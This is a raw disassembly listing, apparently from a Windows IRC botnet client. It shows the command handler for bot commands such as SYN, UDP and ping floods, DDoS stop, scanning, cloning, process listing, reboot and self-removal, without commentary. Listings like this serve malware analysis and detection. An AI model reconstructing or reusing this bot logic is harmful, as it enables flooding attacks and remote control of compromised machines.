mov eax, 1
jmp 0x423223
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x77c]
mov dword [esp + 4], eax
mov dword [esp], str.logstop
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x4195dd
mov eax, dword [ebp - 0x24]
add eax, 1
mov ecx, dword [ebp + eax*4 - 0x77c]
mov edx, dword [ebp - 0x938]
mov eax, dword [ebp - 0x774]
mov dword [esp + 0x1c], ecx
mov dword [esp + 0x18], 0x1b
mov dword [esp + 0x14], str.Log_list
mov dword [esp + 0x10], str._LOG_
mov dword [esp + 0xc], edx
mov edx, dword [ebp - 0x2c]
mov dword [esp + 8], edx
mov dword [esp + 4], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call fcn.0042ae15
mov eax, 1
jmp 0x423223
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x77c]
mov dword [esp + 4], eax
mov dword [esp], str.redirectstop
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x419654
mov eax, dword [ebp - 0x24]
add eax, 1
mov ecx, dword [ebp + eax*4 - 0x77c]
mov edx, dword [ebp - 0x938]
mov eax, dword [ebp - 0x774]
mov dword [esp + 0x1c], ecx
mov dword [esp + 0x18], 0xf
mov dword [esp + 0x14], str.TCP_redirect
mov dword [esp + 0x10], str._REDIRECT_
mov dword [esp + 0xc], edx
mov edx, dword [ebp - 0x2c]
mov dword [esp + 8], edx
mov dword [esp + 4], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call fcn.0042ae15
mov eax, 1
jmp 0x423223
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x77c]
mov dword [esp + 4], eax
mov dword [esp], str.ddos.stop
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x4196cb
mov eax, dword [ebp - 0x24]
add eax, 1
mov ecx, dword [ebp + eax*4 - 0x77c]
mov edx, dword [ebp - 0x938]
mov eax, dword [ebp - 0x774]
mov dword [esp + 0x1c], ecx
mov dword [esp + 0x18], 9
mov dword [esp + 0x14], str.DDoS_flood
mov dword [esp + 0x10], str._DDoS_
mov dword [esp + 0xc], edx
mov edx, dword [ebp - 0x2c]
mov dword [esp + 8], edx
mov dword [esp + 4], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call fcn.0042ae15
mov eax, 1
jmp 0x423223
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x77c]
mov dword [esp + 4], eax
mov dword [esp], str.synstop
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x419742
mov eax, dword [ebp - 0x24]
add eax, 1
mov ecx, dword [ebp + eax*4 - 0x77c]
mov edx, dword [ebp - 0x938]
mov eax, dword [ebp - 0x774]
mov dword [esp + 0x1c], ecx
mov dword [esp + 0x18], 0xa
mov dword [esp + 0x14], str.Syn_flood
mov dword [esp + 0x10], str._SYN_
mov dword [esp + 0xc], edx
mov edx, dword [ebp - 0x2c]
mov dword [esp + 8], edx
mov dword [esp + 4], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call fcn.0042ae15
mov eax, 1
jmp 0x423223
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x77c]
mov dword [esp + 4], eax
mov dword [esp], str.udpstop
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x4197b9
mov eax, dword [ebp - 0x24]
add eax, 1
mov ecx, dword [ebp + eax*4 - 0x77c]
mov edx, dword [ebp - 0x938]
mov eax, dword [ebp - 0x774]
mov dword [esp + 0x1c], ecx
mov dword [esp + 0x18], 0xe
mov dword [esp + 0x14], str.UDP_flood
mov dword [esp + 0x10], str._UPD_
mov dword [esp + 0xc], edx
mov edx, dword [ebp - 0x2c]
mov dword [esp + 8], edx
mov dword [esp + 4], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call fcn.0042ae15
mov eax, 1
jmp 0x423223
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x77c]
mov dword [esp + 4], eax
mov dword [esp], str.pingstop
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x419830
mov eax, dword [ebp - 0x24]
add eax, 1
mov ecx, dword [ebp + eax*4 - 0x77c]
mov edx, dword [ebp - 0x938]
mov eax, dword [ebp - 0x774]
mov dword [esp + 0x1c], ecx
mov dword [esp + 0x18], 0xd
mov dword [esp + 0x14], str.Ping_flood
mov dword [esp + 0x10], str._PING_
mov dword [esp + 0xc], edx
mov edx, dword [ebp - 0x2c]
mov dword [esp + 8], edx
mov dword [esp + 4], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call fcn.0042ae15
mov eax, 1
jmp 0x423223
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x77c]
mov dword [esp + 4], eax
mov dword [esp], str.tftpstop
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x4198a7
mov eax, dword [ebp - 0x24]
add eax, 1
mov ecx, dword [ebp + eax*4 - 0x77c]
mov edx, dword [ebp - 0x938]
mov eax, dword [ebp - 0x774]
mov dword [esp + 0x1c], ecx
mov dword [esp + 0x18], 4
mov dword [esp + 0x14], str.Server
mov dword [esp + 0x10], str._TFTP_
mov dword [esp + 0xc], edx
mov edx, dword [ebp - 0x2c]
mov dword [esp + 8], edx
mov dword [esp + 4], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call fcn.0042ae15
mov eax, 1
jmp 0x423223
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x77c]
mov dword [esp + 4], eax
mov dword [esp], str.findfilestop
call sub.msvcrt.dll_strcmp
test eax, eax
je 0x4198e3
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x77c]
mov dword [esp + 4], eax
mov dword [esp], str.ffstop
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x41993c
mov eax, dword [ebp - 0x24]
add eax, 1
mov ecx, dword [ebp + eax*4 - 0x77c]
mov edx, dword [ebp - 0x938]
mov eax, dword [ebp - 0x774]
mov dword [esp + 0x1c], ecx
mov dword [esp + 0x18], 0x1a
mov dword [esp + 0x14], str.Find_file
mov dword [esp + 0x10], str._FINDFILE_
mov dword [esp + 0xc], edx
mov edx, dword [ebp - 0x2c]
mov dword [esp + 8], edx
mov dword [esp + 4], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call fcn.0042ae15
mov eax, 1
jmp 0x423223
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x77c]
mov dword [esp + 4], eax
mov dword [esp], str.procsstop
call sub.msvcrt.dll_strcmp
test eax, eax
je 0x419978
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x77c]
mov dword [esp + 4], eax
mov dword [esp], str.psstop
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x4199d1
mov eax, dword [ebp - 0x24]
add eax, 1
mov ecx, dword [ebp + eax*4 - 0x77c]
mov edx, dword [ebp - 0x938]
mov eax, dword [ebp - 0x774]
mov dword [esp + 0x1c], ecx
mov dword [esp + 0x18], 0x1d
mov dword [esp + 0x14], str.Process_list
mov dword [esp + 0x10], str._PROC_
mov dword [esp + 0xc], edx
mov edx, dword [ebp - 0x2c]
mov dword [esp + 8], edx
mov dword [esp + 4], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call fcn.0042ae15
mov eax, 1
jmp 0x423223
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x77c]
mov dword [esp + 4], eax
mov dword [esp], str.clonestop
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x419a48
mov eax, dword [ebp - 0x24]
add eax, 1
mov ecx, dword [ebp + eax*4 - 0x77c]
mov edx, dword [ebp - 0x938]
mov eax, dword [ebp - 0x774]
mov dword [esp + 0x1c], ecx
mov dword [esp + 0x18], 0x16
mov dword [esp + 0x14], str.Clone
mov dword [esp + 0x10], str._CLONES_
mov dword [esp + 0xc], edx
mov edx, dword [ebp - 0x2c]
mov dword [esp + 8], edx
mov dword [esp + 4], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call fcn.0042ae15
mov eax, 1
jmp 0x423223
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x77c]
mov dword [esp + 4], eax
mov dword [esp], str.securestop
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x419abf
mov eax, dword [ebp - 0x24]
add eax, 1
mov ecx, dword [ebp + eax*4 - 0x77c]
mov edx, dword [ebp - 0x938]
mov eax, dword [ebp - 0x774]
mov dword [esp + 0x1c], ecx
mov dword [esp + 0x18], 0x18
mov dword [esp + 0x14], str.Secure
mov dword [esp + 0x10], str._SECURE_
mov dword [esp + 0xc], edx
mov edx, dword [ebp - 0x2c]
mov dword [esp + 8], edx
mov dword [esp + 4], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call fcn.0042ae15
mov eax, 1
jmp 0x423223
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x77c]
mov dword [esp + 4], eax
mov dword [esp], str.scanstop
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x419b36
mov eax, dword [ebp - 0x24]
add eax, 1
mov ecx, dword [ebp + eax*4 - 0x77c]
mov edx, dword [ebp - 0x938]
mov eax, dword [ebp - 0x774]
mov dword [esp + 0x1c], ecx
mov dword [esp + 0x18], 7
mov dword [esp + 0x14], str.Scan
mov dword [esp + 0x10], str._SCAN_
mov dword [esp + 0xc], edx
mov edx, dword [ebp - 0x2c]
mov dword [esp + 8], edx
mov dword [esp + 4], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call fcn.0042ae15
mov eax, 1
jmp 0x423223
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x77c]
mov dword [esp + 4], eax
mov dword [esp], str.scanstats
call sub.msvcrt.dll_strcmp
test eax, eax
je 0x419b72
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x77c]
mov dword [esp + 4], eax
mov dword [esp], str.stats
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x419b96
mov eax, dword [ebp - 0x774]
mov edx, dword [ebp - 0x2c]
mov dword [esp + 8], edx
mov dword [esp + 4], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call fcn.00401570
mov eax, dword [ebp + 0x2c]
jmp 0x423223
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x77c]
mov dword [esp + 4], eax
mov dword [esp], str.reconnect
call sub.msvcrt.dll_strcmp
test eax, eax
je 0x419bd2
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x77c]
mov dword [esp + 4], eax
mov dword [esp], 0x442887
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x419bfb
mov dword [esp + 4], str.QUIT_:reconnecting_r_n
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call fcn.0040c364
mov dword [esp], str._MAIN_:_Reconnecting.
call fcn.00402bae
mov eax, 0
jmp 0x423223
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x77c]
mov dword [esp + 4], eax
mov dword [esp], str.disconnect
call sub.msvcrt.dll_strcmp
test eax, eax
je 0x419c37
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x77c]
mov dword [esp + 4], eax
mov dword [esp], 0x4428bf
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x419c60
mov dword [esp + 4], str.QUIT_:disconnecting_r_n
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call fcn.0040c364
mov dword [esp], str._MAIN_:_Disconnecting.
call fcn.00402bae
mov eax, 0xffffffff
jmp 0x423223
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x77c]
mov dword [esp + 4], eax
mov dword [esp], str.quit
call sub.msvcrt.dll_strcmp
test eax, eax
je 0x419c9c
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x77c]
mov dword [esp + 4], eax
mov dword [esp], 0x4428f4
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x419d1a
mov eax, dword [ebp - 0x24]
add eax, 1
mov eax, dword [ebp + eax*4 - 0x77c]
test eax, eax
je 0x419cfd
cmp dword [ebp - 0x34], 0
je 0x419d10
mov eax, dword [ebp - 0x24]
add eax, 1
mov eax, dword [ebp + eax*4 - 0x77c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x34]
mov dword [esp], eax
call sub.msvcrt.dll_strstr
mov dword [ebp - 0xe4], eax
cmp dword [ebp - 0xe4], 0
je 0x419d10
mov eax, dword [ebp - 0xe4]
mov dword [esp + 8], eax
mov dword [esp + 4], str.QUIT_:_s_r_n
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call fcn.0040c364
jmp 0x419d10
mov dword [esp + 4], str.QUIT_:later_r_n
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call fcn.0040c364
mov eax, 0xfffffffe
jmp 0x423223
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x77c]
mov dword [esp + 4], eax
mov dword [esp], str.status
call sub.msvcrt.dll_strcmp
test eax, eax
je 0x419d56
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x77c]
mov dword [esp + 4], eax
mov dword [esp], 0x442916
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x419dc1
mov eax, dword [0x473be4]
mov dword [esp], eax
call fcn.00428d54
mov dword [esp + 8], eax
mov dword [esp + 4], str._MAIN_:_Status:_Ready._Bot_Uptime:__s.
lea eax, [ebp - 0x6ec]
mov dword [esp], eax
call sub.msvcrt.dll_sprintf
mov eax, dword [ebp - 0x774]
mov dword [esp + 0x10], 0
mov edx, dword [ebp - 0x2c]
mov dword [esp + 0xc], edx
lea edx, [ebp - 0x6ec]
mov dword [esp + 8], edx
mov dword [esp + 4], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call fcn.0040c3f1
lea eax, [ebp - 0x6ec]
mov dword [esp], eax
call fcn.00402bae
mov eax, dword [ebp + 0x2c]
jmp 0x423223
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x77c]
mov dword [esp + 4], eax
mov dword [esp], 0x44293f
call sub.msvcrt.dll_strcmp
test eax, eax
je 0x419dfd
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x77c]
mov dword [esp + 4], eax
mov dword [esp], 0x442942
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x419e5f
mov dword [esp + 8], 0x43cf00
mov dword [esp + 4], str._MAIN_:_Bot_ID:__s.
lea eax, [ebp - 0x6ec]
mov dword [esp], eax
call sub.msvcrt.dll_sprintf
mov eax, dword [ebp - 0x774]
mov dword [esp + 0x10], 0
mov edx, dword [ebp - 0x2c]
mov dword [esp + 0xc], edx
lea edx, [ebp - 0x6ec]
mov dword [esp + 8], edx
mov dword [esp + 4], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call fcn.0040c3f1
lea eax, [ebp - 0x6ec]
mov dword [esp], eax
call fcn.00402bae
mov eax, dword [ebp + 0x2c]
jmp 0x423223
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x77c]
mov dword [esp + 4], eax
mov dword [esp], str.reboot
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x419eea
call fcn.0040f709
test eax, eax
je 0x419e8d
mov eax, str._MAIN_:_Rebooting_system.
jmp 0x419e92
mov eax, str._MAIN_:_Failed_to_reboot_system.
mov dword [esp + 4], eax
lea eax, [ebp - 0x6ec]
mov dword [esp], eax
call sub.msvcrt.dll_sprintf
mov eax, dword [ebp - 0x774]
mov dword [esp + 0x10], 0
mov edx, dword [ebp - 0x2c]
mov dword [esp + 0xc], edx
lea edx, [ebp - 0x6ec]
mov dword [esp + 8], edx
mov dword [esp + 4], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call fcn.0040c3f1
lea eax, [ebp - 0x6ec]
mov dword [esp], eax
call fcn.00402bae
mov eax, 1
jmp 0x423223
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x77c]
mov dword [esp + 4], eax
mov dword [esp], str.threads
call sub.msvcrt.dll_strcmp
test eax, eax
je 0x419f2a
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x77c]
mov dword [esp + 4], eax
mov dword [esp], 0x4429a5
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x41a0cb
mov eax, dword [ebp - 0x774]
mov dword [esp + 8], eax
mov dword [esp + 4], pe_nt_image_headers32
lea eax, [ebp - 0xd9c]
add eax, 4
mov dword [esp], eax
mov eax, dword [sym.imp.msvcrt.dll__snprintf]
call eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0xd9c], eax
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0xd10], eax
mov eax, dword [ebp - 0x938]
mov dword [ebp - 0xd0c], eax
mov eax, dword [ebp - 0x24]
add eax, 1
mov eax, dword [ebp + eax*4 - 0x77c]
test eax, eax
je 0x419fad
mov eax, dword [ebp - 0x24]
add eax, 1
mov eax, dword [ebp + eax*4 - 0x77c]
mov dword [esp + 4], 0x4429a7
mov dword [esp], eax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x419fa6
mov eax, 1
jmp 0x419fb2
mov eax, 0
jmp 0x419fb2
mov eax, 0
mov dword [ebp - 0xd14], eax
lea eax, [ebp - 0x6ec]
mov dword [eax], 0x5248545b
mov dword [eax + 4], 0x53444145
mov dword [eax + 8], 0x4c203a5d
mov dword [eax + 0xc], 0x20747369
mov dword [eax + 0x10], 0x65726874
mov dword [eax + 0x14], 0x2e736461
mov byte [eax + 0x18], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x1e
lea eax, [ebp - 0x6ec]
mov dword [esp], eax
call fcn.0042a908
mov dword [ebp - 0xd18], eax
mov ebx, dword [ebp - 0xd18]
lea eax, [ebp - 0x934]
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], 0
lea eax, [ebp - 0xd9c]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x42a9d2
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
call eax
sub esp, 0x18
mov edx, eax
imul eax, ebx, 0x234
add eax, 0x44fe74
mov dword [eax], edx
imul eax, ebx, 0x234
add eax, 0x44fe74
mov eax, dword [eax]
test eax, eax
setne al
test al, al
je 0x41a094
mov eax, dword [ebp - 0xd08]
test eax, eax
jne 0x41a0b5
mov dword [esp], 0x32
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
jmp 0x41a077
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov dword [esp + 8], eax
mov dword [esp + 4], str._THREADS_:_Failed_to_start_list_thread__error:___d_.
lea eax, [ebp - 0x6ec]
mov dword [esp], eax
call sub.msvcrt.dll_sprintf
lea eax, [ebp - 0x6ec]
mov dword [esp], eax
call fcn.00402bae
mov eax, dword [ebp + 0x2c]
jmp 0x423223
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x77c]
mov dword [esp + 4], eax
mov dword [esp], str.aliases
call sub.msvcrt.dll_strcmp
test eax, eax
je 0x41a107
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x77c]
mov dword [esp + 4], eax
mov dword [esp], 0x4429e9
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x41a137
mov eax, dword [ebp - 0x774]
mov edx, dword [ebp - 0x2c]
mov dword [esp + 8], edx
mov dword [esp + 4], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call fcn.00402ace
mov dword [esp], str._MAIN_:_Alias_list.
call fcn.00402bae
mov eax, dword [ebp + 0x2c]
jmp 0x423223
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x77c]
mov dword [esp + 4], eax
mov dword [esp], 0x442a00
call sub.msvcrt.dll_strcmp
test eax, eax
je 0x41a177
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x77c]
mov dword [esp + 4], eax
mov dword [esp], 0x442a04
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x41a324
mov byte [ebp - 0xd18], 0
cmp dword [ebp - 0x34], 0
je 0x41a1ef
mov eax, dword [ebp - 0x24]
add eax, 1
mov eax, dword [ebp + eax*4 - 0x77c]
test eax, eax
je 0x41a1ef
mov eax, dword [ebp - 0x24]
add eax, 1
mov eax, dword [ebp + eax*4 - 0x77c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x34]
mov dword [esp], eax
call sub.msvcrt.dll_strstr
mov dword [ebp - 0xe0], eax
cmp dword [ebp - 0xe0], 0
je 0x41a1ef
mov eax, dword [ebp - 0xe0]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x442a07
mov dword [esp + 4], pe_nt_image_headers32
lea eax, [ebp - 0xd9c]
add eax, 0x84
mov dword [esp], eax
mov eax, dword [sym.imp.msvcrt.dll__snprintf]
call eax
mov eax, dword [ebp - 0x774]
mov dword [esp + 8], eax
mov dword [esp + 4], pe_nt_image_headers32
lea eax, [ebp - 0xd9c]
add eax, 4
mov dword [esp], eax
mov eax, dword [sym.imp.msvcrt.dll__snprintf]
call eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0xd9c], eax
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0xc94], eax
mov eax, dword [ebp - 0x938]
mov dword [ebp - 0xc90], eax
lea eax, [ebp - 0x6ec]
mov dword [eax], 0x474f4c5b
mov dword [eax + 4], 0x4c203a5d
mov dword [eax + 8], 0x69747369
mov dword [eax + 0xc], 0x6c20676e
mov dword [eax + 0x10], 0x2e676f
mov dword [esp + 8], 0
mov dword [esp + 4], 0x1b
lea eax, [ebp - 0x6ec]
mov dword [esp], eax
call fcn.0042a908
mov dword [ebp - 0xc98], eax
mov ebx, dword [ebp - 0xc98]
lea eax, [ebp - 0x934]
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], 0
lea eax, [ebp - 0xd9c]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x402eda
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
call eax
sub esp, 0x18
mov edx, eax
imul eax, ebx, 0x234
add eax, 0x44fe74
mov dword [eax], edx
imul eax, ebx, 0x234
add eax, 0x44fe74
mov eax, dword [eax]
test eax, eax
setne al
test al, al
je 0x41a303
mov eax, dword [ebp - 0xc8c]
test eax, eax
jne 0x41a31a
mov dword [esp], 0x32
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
jmp 0x41a2e6
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov dword [esp + 4], eax
mov dword [esp], str._LOG_:_Failed_to_start_listing_thread__error:___d_.
call fcn.00402c86
mov eax, 1
jmp 0x423223
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x77c]
mov dword [esp + 4], eax
mov dword [esp], str.clearlog
call sub.msvcrt.dll_strcmp
test eax, eax
je 0x41a360
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x77c]
mov dword [esp + 4], eax
mov dword [esp], 0x442a49
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x41a390
mov edx, dword [ebp - 0x938]
mov eax, dword [ebp - 0x774]
mov dword [esp + 0xc], edx
mov edx, dword [ebp - 0x2c]
mov dword [esp + 8], edx
mov dword [esp + 4], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call fcn.00402e18
mov eax, 1
jmp 0x423223
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x77c]
mov dword [esp + 4], eax
mov dword [esp], str.netinfo
call sub.msvcrt.dll_strcmp
test eax, eax
je 0x41a3cc
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x77c]
mov dword [esp + 4], eax
mov dword [esp], 0x442a55
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x41a426
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov eax, dword [ebp + 0x24]
mov dword [esp + 4], eax
lea eax, [ebp - 0x6ec]
mov dword [esp], eax
call fcn.0042957c
mov ecx, eax
mov eax, dword [ebp - 0x774]
mov dword [esp + 0x10], 0
mov edx, dword [ebp - 0x2c]
mov dword [esp + 0xc], edx
mov dword [esp + 8], ecx
mov dword [esp + 4], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call fcn.0040c3f1
mov dword [esp], str._MAIN_:_Network_Info.
call fcn.00402bae
mov eax, dword [ebp + 0x2c]
jmp 0x423223
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x77c]
mov dword [esp + 4], eax
mov dword [esp], str.sysinfo
call sub.msvcrt.dll_strcmp
test eax, eax
je 0x41a462
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x77c]
mov dword [esp + 4], eax
mov dword [esp], 0x442a76
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x41a4b5
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
lea eax, [ebp - 0x6ec]
mov dword [esp], eax
call fcn.004290ea
mov ecx, eax
mov eax, dword [ebp - 0x774]
mov dword [esp + 0x10], 0
mov edx, dword [ebp - 0x2c]
mov dword [esp + 0xc], edx
mov dword [esp + 8], ecx
mov dword [esp + 4], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call fcn.0040c3f1
mov dword [esp], str._MAIN_:_System_Info.
call fcn.00402bae
mov eax, dword [ebp + 0x2c]
jmp 0x423223
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x77c]
mov dword [esp + 4], eax
mov dword [esp], str.remove
call sub.msvcrt.dll_strcmp
test eax, eax
je 0x41a4f1
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x77c]
mov dword [esp + 4], eax
mov dword [esp], 0x442a95
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x41a557
mov eax, dword [ebp - 0x938]
test eax, eax
jne 0x41a527
mov eax, dword [ebp - 0x774]
mov dword [esp + 0x10], 0
mov edx, dword [ebp - 0x2c]
mov dword [esp + 0xc], edx
mov dword [esp + 8], str._MAIN_:_Removing_Bot.
mov dword [esp + 4], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call fcn.0040c3f1
call fcn.004031a3
mov edx, dword [0x44ee04]
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call edx
sub esp, 4
mov eax, dword [0x44eda4]
call eax
call fcn.0040f753
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_ExitProcess]
call eax
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x77c]
mov dword [esp + 4], eax
mov dword [esp], str.procs
call sub.msvcrt.dll_strcmp
test eax, eax
je 0x41a597
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x77c]
mov dword [esp + 4], eax
mov dword [esp], 0x442ab4
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x41a785
mov dword [esp], 0x1d
call fcn.0042ad8a
test eax, eax
setg al
test al, al
je 0x41a5eb
mov eax, dword [ebp - 0x938]
test eax, eax
jne 0x41a77b
mov eax, dword [ebp - 0x774]
mov dword [esp + 0x10], 0
mov edx, dword [ebp - 0x2c]
mov dword [esp + 0xc], edx
mov dword [esp + 8], str._PROC_:_Already_running.
mov dword [esp + 4], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call fcn.0040c3f1
jmp 0x41a77b
mov eax, dword [ebp - 0x774]
mov dword [esp + 8], eax
mov dword [esp + 4], pe_nt_image_headers32
lea eax, [ebp - 0xd9c]
add eax, 4
mov dword [esp], eax
mov eax, dword [sym.imp.msvcrt.dll__snprintf]
call eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0xd9c], eax
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0xd10], eax
mov eax, dword [ebp - 0x938]
mov dword [ebp - 0xd0c], eax
mov dword [ebp - 0xd14], 0
mov eax, dword [ebp - 0x24]
add eax, 1
mov eax, dword [ebp + eax*4 - 0x77c]
test eax, eax
je 0x41a674
mov eax, dword [ebp - 0x24]
add eax, 1
mov eax, dword [ebp + eax*4 - 0x77c]
mov dword [esp + 4], eax
mov dword [esp], str.full
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x41a674
mov dword [ebp - 0xd14], 1
lea eax, [ebp - 0x6ec]
mov dword [eax], 0x4f52505b
mov dword [eax + 4], 0x3a5d5343
mov dword [eax + 8], 0x6f725020
mov dword [eax + 0xc], 0x73656363
mov dword [eax + 0x10], 0x696c2073
mov dword [eax + 0x14], 0x2e7473
mov dword [esp + 8], 0
mov dword [esp + 4], 0x1d
lea eax, [ebp - 0x6ec]
mov dword [esp], eax
call fcn.0042a908
mov dword [ebp - 0xd18], eax
mov ebx, dword [ebp - 0xd18]
lea eax, [ebp - 0x934]
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], 0
lea eax, [ebp - 0xd9c]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x415b2d
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
call eax
sub esp, 0x18
mov edx, eax
imul eax, ebx, 0x234
add eax, 0x44fe74
mov dword [eax], edx
imul eax, ebx, 0x234
add eax, 0x44fe74
mov eax, dword [eax]
test eax, eax
setne al
test al, al
je 0x41a74c
